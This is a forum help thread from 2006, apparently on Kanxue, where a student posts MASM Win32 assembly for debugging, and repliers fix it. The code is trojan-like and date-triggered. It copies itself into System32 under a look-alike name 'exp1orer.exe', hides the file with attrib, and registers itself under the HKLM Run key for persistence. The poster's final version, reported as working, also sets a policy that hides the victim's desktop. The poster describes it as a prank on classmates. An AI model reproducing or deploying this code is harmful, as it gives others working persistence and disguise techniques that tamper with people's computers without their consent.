首页
社区
课程
招聘
[求助]win32汇编,不知道错在哪.
发表于: 2006-10-13 22:51 5168

[求助]win32汇编,不知道错在哪.

2006-10-13 22:51
5168
问题描述:程序运行,首先判断本地时间,如果是8号,就调用_systemWin..不过呢,在编译的时候,没有出现错误,运行程序,没有发现对注册表写入操作,在系统目录下,也没有发现自我复制的文件..程序居然还自我删除,郁闷ing~~好象我没加入自我删除的功能....

代码如下:

.386
.model flat,stdcall
option casemap:none

include windows.inc
include kernel32.inc
include user32.inc
include advapi32.inc

includelib kernel32.lib
includelib user32.lib
includelib advapi32.lib

.data
szWin2000          db 'C:\WINNT\System32\exp1orer.exe',0
szWinXp            db 'C:\WINDOWS\System32\exp1orer.exe',0
szCmdAttrib        db 'attrib +h exp1orer.exe',0
szDirectory        db 0
szRegKey           db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
szRegValue         db 'systemRunDll',0
szStr2000          db  "C:\WINNT\System32\exp1orer.exe"
szStrXp            db  "C:\WINDOWS\System32\exp1orer.exe"
szTitle            db  '时间',0
szCaption          db  '今天不是8号',0
.data?
hModule dd ?
lpSystemTime SYSTEMTIME <?>
osVersion   OSVERSIONINFO <?>
stStartUp        STARTUPINFO                <?>
stProcInfo        PROCESS_INFORMATION        <?>

.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_systemWin proc
     invoke GetModuleFileName,hModule,addr szDirectory,200;获取程序路径
     invoke GetVersionEx,addr osVersion;判断操作系统
           .if eax == 5  ;是windows2000
      invoke CopyFile,addr szDirectory,addr szWin2000,FALSE;复制自身到系统目录
      call _attrib ;调用_attrib,设置隐藏属性
      call _EnumKey2000;调用_EnumKey2000,写入注册表启动
      invoke ExitProcess,NULL
         .elseif
      invoke CopyFile,addr szDirectory,addr szWinXp,FALSE
      call _attrib
      call _EnumKeyXp
      invoke ExitProcess,NULL
         .endif
         ret
_systemWin endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_attrib proc
invoke        GetStartupInfo,addr stStartUp
invoke        CreateProcess,NULL,addr szCmdAttrib,NULL,NULL,NULL,\
        NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,addr stProcInfo       
_attrib endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_EnumKey2000   proc   _lpKey ;在windows2000的情况下对注册表的操作
  local   @hKey,@dwIndex,@dwLastTime:FILETIME
  invoke   RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
  .if      eax == ERROR_SUCCESS
  invoke   RegSetValueEx,@hKey,addr szRegValue,NULL,\
          REG_SZ,addr szStr2000,19 ;写入一个REG_SZ类型的数据
  invoke   RegCloseKey,@hKey
  .endif
  ret
_EnumKey2000     endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_EnumKeyXp   proc   _lpKey ;在windows其他版本的情况下对注册表的操作
  local   @hKey,@dwIndex,@dwLastTime:FILETIME
  invoke   RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
  .if      eax == ERROR_SUCCESS
  invoke   RegSetValueEx,@hKey,addr szRegValue,NULL,\
          REG_SZ,addr szStrXp,19 ;写入一个REG_SZ类型的数据
  invoke   RegCloseKey,@hKey
  .endif
  ret
_EnumKeyXp     endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
  invoke GetSystemTime,offset lpSystemTime
  movzx ecx,lpSystemTime.wDay   ;获取今天的日期
  .if ecx == 8  ;如果是8号
  call _systemWin ;调用_systemWin
  .elseif
  invoke MessageBox,NULL,addr szCaption,addr szTitle,MB_OK
  invoke ExitProcess,NULL
  .endif
end start

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (13)
雪    币: 796
活跃值: (370)
能力值: ( LV9,RANK:380 )
在线值:
发帖
回帖
粉丝
2
希望知道错误的朋友提点一下,好让我优化.. 
2006-10-13 23:15
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
好像是病毒或者木马程序哦,哈哈

楼主把全部源代码放出来分享一下吧
2006-10-14 11:40
0
雪    币: 796
活跃值: (370)
能力值: ( LV9,RANK:380 )
在线值:
发帖
回帖
粉丝
4
没写完呢.也很简单,可是偶还不知道错误在哪.
2006-10-14 12:00
0
雪    币: 248
活跃值: (1121)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
试一试。
.586
.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\advapi32.inc
include \masm32\include\masm32.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\advapi32.lib
includelib \masm32\lib\masm32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include \masm32\macros\macros.asm
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
	szWin2000	db 'C:\WINNT\System32\exp1orer.exe',0
	szWinXp         db 'C:\WINDOWS\System32\exp1orer.exe',0
	szCmdAttrib     db 'attrib +h exp1orer.exe',0
	szDirectory     db 0
	szRegKey        db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
	szRegValue      db 'XXXXsystemRunDll',0
	szStr2000       db  "C:\WINNT\System32\regedt32.exe",0
	szStrXp         db  "C:\WINDOWS\System32\regedt32.exe",0
	szTitle         db  'ʱ¼ä',0
	szCaption       db  '½ñÌì²»ÊÇ8ºÅ',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data?
	hInstance	HINSTANCE ?
	lpSystemTime	SYSTEMTIME<?>
	osVersion	OSVERSIONINFO<?>
	stStartUp	STARTUPINFO<?>
	stProcInfo	PROCESS_INFORMATION<?>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_systemWin proc
	LOCAL ProgName[512]:BYTE
	LOCAL SysBuf[256]:BYTE

	invoke RtlZeroMemory,addr ProgName,sizeof ProgName
	invoke RtlZeroMemory,addr SysBuf,sizeof SysBuf
	invoke GetModuleFileName,hInstance,addr ProgName, sizeof ProgName	;;»ñÈ¡³ÌÐòÂ・¾¶

	invoke GetWindowsDirectory, addr SysBuf, SIZEOF SysBuf
	invoke lstrcat, addr SysBuf, SADD("\aaa.exe")
	
	invoke CopyFile, addr ProgName, addr SysBuf, FALSE
	call _attrib
	invoke GetVersionEx,addr osVersion		;;ÅжϲÙ×÷ϵͳ
        ;INT 3
	.if	eax == 5			;ÊÇwindows2000
		;invoke CopyFile,addr szDirectory,addr szWin2000,FALSE	;;¸´ÖÆ×ÔÉíµ½ÏµÍ³Ä¿Â¼
		;call _attrib		;;µ÷ÓÃ_attrib£¬ÉèÖÃÒþ²ØÊôÐÔ
		call _EnumKey2000	;;µ÷ÓÃ_EnumKey2000£¬Ð´Èë×¢²á±íÆô¶¯
	.elseif
		;invoke CopyFile,addr szDirectory,addr szWinXp,FALSE
		call _EnumKeyXp
        .endif
        ret

_systemWin endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_attrib proc

	invoke GetStartupInfo,addr stStartUp
	invoke CreateProcess,SADD("C:\WINDOWS\NOTEPAD.EXE"),NULL,NULL,NULL,FALSE,\
                             NORMAL_PRIORITY_CLASS,\
                            NULL,NULL,addr stStartUp,addr stProcInfo
	;invoke  CreateProcess,NULL,addr szCmdAttrib,NULL,NULL,NULL,\
	;		NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,addr stProcInfo
	ret

_attrib endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_EnumKey2000   proc 	;;ÔÚwindows2000µÄÇé¿ö϶Ô×¢²á±íµÄ²Ù×÷
	local   @hKey,@dwIndex,@dwLastTime:FILETIME
	
	invoke   RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
	.if      eax == ERROR_SUCCESS
		invoke StrLen,addr szStr2000
		invoke RegSetValueEx,@hKey,addr szRegValue,NULL,
				REG_SZ,addr szStr2000,EAX	;;дÈëÒ»¸öREG_SZÀàÐ͵ÄÊý¾Ý
		invoke RegCloseKey,@hKey
	.endif
	ret

_EnumKey2000     endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_EnumKeyXp proc		;;ÔÚwindowsÆäËû°æ±¾µÄÇé¿ö϶Ô×¢²á±íµÄ²Ù×÷
	LOCAL @hKey,@dwIndex
	LOCAL @dwLastTime:FILETIME
	
	invoke   RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
	.if      eax == ERROR_SUCCESS
		invoke StrLen,addr szStrXp
		invoke RegSetValueEx,@hKey,addr szRegValue,NULL,\
				REG_SZ,addr szStrXp,EAX			;;дÈëÒ»¸öREG_SZÀàÐ͵ÄÊý¾Ý
		invoke RegCloseKey,@hKey
	.endif
	ret

_EnumKeyXp endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
	invoke	GetModuleHandle,0
	mov	hInstance,eax
	
	invoke GetSystemTime,offset lpSystemTime
	movzx EAX,lpSystemTime.wDay	;;»ñÈ¡½ñÌìµÄÈÕÆÚ
	.if	EAX>=8			;;Èç¹ûÊÇ8ºÅ
		call _systemWin		;;µ÷ÓÃ_systemWin
	.elseif
		invoke MessageBox,NULL,addr szCaption,addr szTitle,MB_OK
		invoke ExitProcess,NULL
	.endif
	invoke	ExitProcess,eax
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

end start

2006-10-14 14:40
0
雪    币: 796
活跃值: (370)
能力值: ( LV9,RANK:380 )
在线值:
发帖
回帖
粉丝
6
貌似这个
include \masm32\macros\macros.asm
我没有....
2006-10-14 15:08
0
雪    币: 214
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
7
程序有以下错误:
1.
  ......
  szCmdAttrib        db 'attrib +h exp1orer.exe',0
  szDirectory        db 0
  szRegKey       db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
  ......
  szDirectory应该定义为未初始化变量:szDirectory db ?
  这个是致命错误也是导致不能写注册表和COPY Myself的原因
  动态跟踪就会发现如果定义为szDirectory        db 0
  invoke   RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
  offset szRegKey就会指向程序的当前路径当然这一句也不会返回RROR_SUCCESS值

2.invoke   RegSetValueEx,@hKey,addr szRegValue,NULL,\
          REG_SZ,addr szStrXp,19
  最后一个参数当REG_SZ时是写入注册表的字符长度+1你数数看是不是19
  如果数不清的话最好用lsstrlen然后inc eax.
3.判断操作系统时
  invoke GetVersionEx,addr osVersion;判断操作系统
           .if eax == 5  ;是windows2000
  GetVersionEx的返回值是在OSVERSIONINFO结构体是光是eax是容不下那么多的参数
4.经过修改以上的错误调试通过.
-----------------------------------
楼主朋友不知道写这段代码的用途在哪?
2006-10-15 14:45
0
雪    币: 796
活跃值: (370)
能力值: ( LV9,RANK:380 )
在线值:
发帖
回帖
粉丝
8
szDirectory应该定义为未初始化变量:szDirectory db ?
这个是致命错误也是导致不能写注册表和COPY Myself的原因
动态跟踪就会发现如果定义为szDirectory db 0
invoke RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
offset szRegKey就会指向程序的当前路径当然这一句也不会返回RROR_SUCCESS值


这个我想szDirectory定义为“szDirectory db 0”应该可以的,在我修改过后简单点的代码,测试通过,复制自己到系统目录,在cmd下
dir /a C:\windows\system32\exp1orer.exe发现存在.预定的几个注册表的地方也正常写入..完整的代码如下:
(以下代码在windows XP下测试通过)
.386
.model flat,stdcall
option casemap:none

include windows.inc
include kernel32.inc
include user32.inc
include advapi32.inc

includelib kernel32.lib
includelib user32.lib
includelib advapi32.lib
.data
szWin           db 'C:\windows\system32\exp1orer.exe',0
szCmdAttrib        db 'attrib +R +H C:\windows\system32\exp1orer.exe',0
szDirectory        db 0
szRegKey           db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
szRegValue db     'StartPE',0
szStr1            db  "C:\WINDOWS\System32\exp1orer.exe"
szWriteKey                        db                'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\',0
szWriteValue db                'NoDesktop',0
szDword                dd        1
szTitle    db '恭喜你',0
szCaption   db '恭喜你,学习愉快',0
.data?
hInstance dd ?
hModule dd ?
lpSystemTime SYSTEMTIME <?>
osVersion   OSVERSIONINFO <?>
stStartUp  STARTUPINFO    <?>
stProcInfo  PROCESS_INFORMATION  <?>

.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_AttribCmd proc
  invoke  GetStartupInfo,addr stStartUp
  invoke  CreateProcess,NULL,addr szCmdAttrib,NULL,NULL,NULL,\
  NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,addr stProcInfo
ret
_AttribCmd endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_CreateKey   proc   _lpKey
  local   @hKey,@dwIndex,@dwLastTime:FILETIME
  
  invoke   RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
  .if   eax == ERROR_SUCCESS
  invoke   RegSetValueEx,@hKey,addr szRegValue,NULL,\
          REG_SZ,addr szStr1,32 ;写入一个REG_SZ类型的数据
  invoke   RegCloseKey,@hKey
  .endif
  ret
_CreateKey     endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WriteKey        proc        _lpKey
        local        @hKey,@dwIndex,@dwLastTime:FILETIME
invoke        RegCreateKey,HKEY_CURRENT_USER,offset szWriteKey,addr @hKey
     .if        eax == ERROR_SUCCESS
        invoke        RegSetValueEx,@hKey,addr szWriteValue,NULL,\
                REG_DWORD,addr szDword,4 ;写入一个REG_DWORD类型的数据
        invoke        RegCloseKey,@hKey
        .endif
        ret
_WriteKey        endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
  invoke  GetModuleHandle,0
     mov  hInstance,eax
  invoke _CreateKey,NULL ;设置为启动
  invoke GetSystemTime,offset lpSystemTime
  movzx ebx,lpSystemTime.wDay
  .if ebx == 11
  invoke GetModuleFileName,hModule,addr szDirectory,200;获取程序路径
  invoke CopyFile,addr szDirectory,addr szWin,FALSE
  call _AttribCmd
  invoke _WriteKey,NULL ;修改注册表,隐藏桌面图表
  invoke ExitProcess,NULL
  .elseif
  invoke MessageBox,NULL,addr szCaption,addr szTitle,MB_OK
  invoke ExitProcess,NULL
  .endif
end start

*****************************************************

说来惭愧,我是写来戏弄我班上的同学,呵呵,高三了,精神紧张,要放松一下,就写个好玩点的代码出来娱乐一下他们
2006-10-16 04:34
0
雪    币: 209
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
高三就这么厉害了!
我现在大三,才刚刚学汇编。高三时我还不知道什么是程序设计呢!
兄弟前途无量噢!
2006-10-16 17:15
0
雪    币: 796
活跃值: (370)
能力值: ( LV9,RANK:380 )
在线值:
发帖
回帖
粉丝
10
楼上兄弟取笑了..
2006-10-16 17:54
0
雪    币: 222
活跃值: (10)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
11
楼主这样写ASM是不行的……我建议先学学C
2006-10-16 22:35
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
偶初学asm,但精通C ,偶分析一下你的代码.
2006-10-17 09:59
0
雪    币: 796
活跃值: (370)
能力值: ( LV9,RANK:380 )
在线值:
发帖
回帖
粉丝
13
最初由 drwch 发布
楼主这样写ASM是不行的……我建议先学学C


呵呵,只要我觉得我是在进步,学到东西,我就能行

学习的方法很多,不一定要先学什么,然后在学什么,虽然说事物有必然的联系性,有个先来后到,但是合适自己的,就是最好的 同时谢谢您的建议,虽然对我用不上 
2006-10-17 12:23
0
雪    币: 222
活跃值: (10)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
14
我这么说就是因为我感觉ASM编程暂时不适合你,这样的代码用C写更合适,因为它既不比C快,也不比C好看
ASM是很讲究指令级技巧的东西,所以我建议你先学好C,用它来写WIN32程序,再进阶去学ASM及相关的技巧(主要是学习其它编译器的优化方式,以及一些只能用ASM实现的代码)。
希望这样的建议对你有帮助。
2006-10-17 18:12
0
游客
登录 | 注册 方可回帖
返回
//